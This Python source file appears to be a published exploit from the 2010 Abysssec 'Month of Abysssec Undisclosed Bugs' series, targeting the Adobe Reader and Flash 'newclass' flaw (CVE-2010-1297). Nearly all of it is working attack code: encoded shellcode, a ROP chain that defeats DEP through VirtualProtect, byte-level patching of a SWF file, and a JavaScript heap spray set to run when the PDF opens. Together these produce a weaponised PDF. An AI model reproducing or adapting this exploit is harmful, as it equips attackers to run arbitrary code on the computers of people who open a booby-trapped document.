290 lines
No EOL
13 KiB
Python
Executable file
290 lines
No EOL
13 KiB
Python
Executable file
'''
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__ __ ____ _ _ ____
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| \/ |/ __ \ /\ | | | | _ \
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| \ / | | | | / \ | | | | |_) |
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| |\/| | | | |/ /\ \| | | | _ < Day 1 (Binary Analysis)
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| | | | |__| / ____ \ |__| | |_) |
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|_| |_|\____/_/ \_\____/|____/
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http://www.exploit-db.com/adobe-acrobat-newclass-invalid-pointer-vulnerability/
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14853.tar.gz (moaub1-adobe-newclass.tar.gz)
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Title : Adobe Acrobat Reader and Flash Player “newclass” invalid pointer vulnerability
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Analysis : http://www.abysssec.com
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Vendor : http://www.adobe.com
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Impact : Ciritical
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Contact : shahin [at] abysssec.com , info [at] abysssec.com
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Twitter : @abysssec
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CVE : CVE-2010-1297
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MOAUB Number : MOAUB-01-BA
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'''
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import sys
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class PDF:
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def __init__(self):
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self.xrefs = []
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self.eol = '\x0a'
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self.content = ''
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self.xrefs_offset = 0
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def header(self):
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self.content += '%PDF-1.6' + self.eol
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def obj(self, obj_num, data,flag):
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self.xrefs.append(len(self.content))
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self.content += '%d 0 obj' % obj_num
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if flag == 1:
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self.content += self.eol + '<< ' + data + ' >>' + self.eol
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else:
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self.content += self.eol + data + self.eol
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self.content += 'endobj' + self.eol
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def obj_SWFStream(self, obj_num, data, stream):
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self.xrefs.append(len(self.content))
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self.content += '%d 0 obj' % obj_num
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self.content += self.eol + '<< ' + data + '/Params << /Size %d >> /DL %d /Length %d' %(len(stream),len(stream),len(stream))
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self.content += ' >>' + self.eol
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self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
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self.content += 'endobj' + self.eol
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def obj_Stream(self, obj_num, data, stream):
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self.xrefs.append(len(self.content))
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self.content += '%d 0 obj' % obj_num
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self.content += self.eol + '<< ' + data + '/Length %d' %len(stream)
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self.content += ' >>' + self.eol
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self.content += 'stream' + self.eol + stream + self.eol + 'endstream' + self.eol
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self.content += 'endobj' + self.eol
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def ref(self, ref_num):
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return '%d 0 R' % ref_num
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def xref(self):
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self.xrefs_offset = len(self.content)
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self.content += 'xref' + self.eol
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self.content += '0 %d' % (len(self.xrefs) + 1)
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self.content += self.eol
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self.content += '0000000000 65535 f' + self.eol
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for i in self.xrefs:
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self.content += '%010d 00000 n' % i
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self.content += self.eol
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def trailer(self):
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self.content += 'trailer' + self.eol
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self.content += '<< /Size %d' % (len(self.xrefs) + 1)
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self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
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self.content += 'startxref' + self.eol
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self.content += '%d' % self.xrefs_offset
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self.content += self.eol
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self.content += '%%EOF'
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def generate(self):
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return self.content
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class Exploit:
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def convert_to_utf16(self, payload):
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enc_payload = ''
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for i in range(0, len(payload), 2):
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num = 0
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for j in range(0, 2):
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num += (ord(payload[i + j]) & 0xff) << (j * 8)
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enc_payload += '%%u%04x' % num
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return enc_payload
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def get_payload(self):
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# shellcode calc.exe
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payload =("\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
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"\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41"
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"\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C"
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"\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C"
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"\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52"
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"\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44"
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"\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54"
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"\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45"
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"\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F"
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"\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50"
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"\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C"
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"\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41")
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return payload
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def getSWF(self):
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try:
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#swfFile = sys.argv[2]
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fdR = open('flash.swf', 'rb+')
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strTotal = fdR.read()
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str1 = strTotal[:88]
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addr1 = '\x06\xa6\x17\x30' # addr = 0c0c0c0c
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str2 = strTotal[92:533]
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#*************************** Bypass DEP by VirtualProtect ********************************
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rop = ''
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rop += "\x77\xFA\x44\x7E" # mov edi,esp ret 4
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rop += "\x94\x28\xc2\x77" #add esp,20 pop ebp ret
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rop += "AAAA" #padding
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rop += "\xD4\x1A\x80\x7C" # VirtualProtect
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rop += "BBBB" # Ret Addr for VirtualProtect
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rop += "CCCC" # Param1 (lpAddress)
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rop += "DDDD" # Param2 (Size)
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rop += "EEEE" # Param3 (flNewProtect)
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rop += "\x10\xB0\xEF\x77" # Param4 (Writable Address)
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rop += "AAAAAAAAAAAA" #padding
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rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret
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rop += "AAAA" #padding
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rop += "\xF2\xE1\x12\x06" #add eax,94 ret
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rop += "\x70\xDC\xEE\x77" #push esp pop ebp ret4
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rop += "\x16\x9A\x94\x7C" #mov [ebp-30],eax ret
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rop += "AAAA" #padding
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rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret
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rop += "AAAA" #padding
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rop += "\xF2\xE1\x12\x06" #add eax,94 ret
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rop += "\x79\x9E\x83\x7C" #mov [ebp-2c],eax ret
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rop += "\x27\x56\xEA\x77" #mov eax,6b3 ret
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rop += "\x14\x83\xE0\x77" #mov [ebp-28],eax ret
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rop += "\xB4\x01\xF2\x77" #xor eax,eax ret
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rop += "\x88\x41\x97\x7C" #add eax,40 pop ebp ret
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rop += "AAAA" #padding
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rop += "\x70\xDC\xEE\x77" #push esp pop ebp ret4
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rop += "\xC0\x9E\xEF\x77" #mov [ebp-54],eax ret
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rop += "AAAA" #padding
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rop += "\xC2\x4D\xC3\x77" #mov eax,edi pop esi ret
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rop += "AAAA" #padding
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rop += "\xC1\xF2\xC1\x77" #add eax,8 ret
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rop += "\xCF\x97\xDE\x77" #xchg eax,esp ret
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str3 = strTotal[669:1249]
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alignESP = "\x83\xc4\x03"
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sc = self.get_payload()
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if len(sc) > 2118:
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print "[*] Error : payload length is long"
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return
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if len(sc) <= 2118:
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dif = 2118 - len(sc)
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while dif > 0 :
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sc += '\x90'
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dif = dif - 1
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str4 = strTotal[3370:3726]
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addr2 = '\xF2\x3D\x8D\x23' # Enter 0C75 , 81 RET
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str5 = strTotal[3730:]
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fdW= open('exploit.swf', 'wb+')
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finalStr = str1+addr1+str2+rop+str3+alignESP+sc+str4+addr2+str5
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fdW.write(finalStr)
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#strTotal = open('exploit.swf', 'rb+').read()
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fdW.close()
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fdR.close()
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return finalStr
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except IOError:
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print '[*] Error : An IO error has occurred'
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def HeapSpray(self):
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spray = '''
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function spray_heap()
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{
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var chunk_size, payload, nopsled;
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chunk_size = 0x1A0000;
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pointers = unescape("%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030%u33dd%u3030");
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pointerSled = unescape("<Contents>");
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while (pointerSled.length < chunk_size)
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pointerSled += pointerSled;
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pointerSled_len = chunk_size - (pointers.length + 20);
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pointerSled = pointerSled.substring(0, pointerSled_len);
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heap_chunks = new Array();
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for (var i = 0 ; i < <CHUNKS> ; i++)
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heap_chunks[i] = pointerSled + pointers;
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}
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spray_heap();
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'''
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spray = spray.replace('<Contents>', '%u33dd%u3030') # Pointer to XCHG ESP , EBX
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'''
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Authplay.dll
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303033DD ? 87DC XCHG ESP,EBX
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#############################################################
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will do nothing
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303033DF ? 45 INC EBP
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303033E0 ? 05 00898784 ADD EAX,84878900
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303033E5 ? 42 INC EDX
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303033E6 ? 05 008987E8 ADD EAX,E8878900
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303033EB ? 41 INC ECX
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303033EC ? 05 008987EC ADD EAX,EC878900
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303033F1 ? 41 INC ECX
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303033F2 ? 05 008987F0 ADD EAX,F0878900
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303033F7 ? 41 INC ECX
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303033F8 ? 05 008987F4 ADD EAX,F4878900
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303033FD ? 41 INC ECX
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303033FE ? 05 005F5E5D ADD EAX,5D5E5F00
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30303403 . B8 01000000 MOV EAX,1
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30303408 . 5B POP EBX
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############################################################
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30303409 . 83C4 30 ADD ESP,30
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3030340C . C3 RETN
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'''
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spray = spray.replace('<CHUNKS>', '40') #Chunk count
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return spray
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def generate_pdf():
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exploit = Exploit()
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swfFile = 'exploit.swf'
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pdf = PDF()
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pdf.header()
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pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) + ' /OpenAction ' + pdf.ref(17),1)
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#pdf.obj(1, '/MarkInfo<</Marked true>>/Type /Catalog/Pages ' + pdf.ref(2) ,1)
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pdf.obj(2, '/Count 1/Type/Pages/Kids[ '+pdf.ref(3)+' ]',1)
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pdf.obj(3, '/Annots [ '+pdf.ref(5) +' ]/Parent '+pdf.ref(2) + " /Type/Page"+' /Contents '+pdf.ref(4) ,1)
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pdf.obj_Stream(4, '','')
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pdf.obj(5, '/RichMediaSettings '+pdf.ref(6)+' /NM ( ' + swfFile + ' ) /Subtype /RichMedia /Type /Annot /RichMediaContent '+pdf.ref(7)+' /Rect [ 266 116 430 204 ]',1)
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pdf.obj(6, '/Subtype /Flash /Activation '+pdf.ref(8)+' /Type /RichMediaSettings /Deactivation '+pdf.ref(9),1)
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pdf.obj(7, '/Type /RichMediaContent /Assets '+pdf.ref(10) +' /Configurations [ ' + pdf.ref(11) + ']',1)
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pdf.obj(8, '/Type /RichMediaActivation /Condition /PO ',1)
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pdf.obj(9, '/Type /RichMediaDeactivation /Condition /XD ',1)
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pdf.obj(10, '/Names [('+ swfFile +') ' + pdf.ref(12)+' ]',1)
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pdf.obj(11, '/Subtype /Flash /Type /RichMediaConfiguration /Name (ElFlash) /Instances [ '+pdf.ref(13) +' ]',1)
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pdf.obj(12, '/EF <</F '+pdf.ref(14) +' >> /Type /Filespec /F ('+ swfFile +')',1)
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pdf.obj(13, '/Subype /Flash /Params '+pdf.ref(15) +' /Type /RichMediaInstance /Asset '+ pdf.ref(12) ,1)
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pdf.obj_SWFStream(14, ' /Type /EmbeddedFile ',exploit.getSWF() )
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pdf.obj(15, '/Binding /Background /Type /RichMediaParams /FlashVars () /Settings '+pdf.ref(16),1)
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pdf.obj_Stream(16, '<</Length 0 >> ','')
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pdf.obj(17, '/Type /Action /S /JavaScript /JS (%s)' % exploit.HeapSpray(),1)
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pdf.xref()
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pdf.trailer()
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return pdf.generate()
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def main():
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if len(sys.argv) != 2:
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print 'Usage: python %s [output file name]' % sys.argv[0]
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sys.exit(0)
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file_name = sys.argv[1]
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if not file_name.endswith('.pdf'):
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file_name = file_name + '.pdf'
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try:
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fd = open(file_name, 'wb+')
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fd.write(generate_pdf())
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fd.close()
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print '[-] PDF file generated and written to %s' % file_name
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except IOError:
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print '[*] Error : An IO error has occurred'
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print '[-] Exiting ...'
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sys.exit(-1)
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if __name__ == '__main__':
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main() |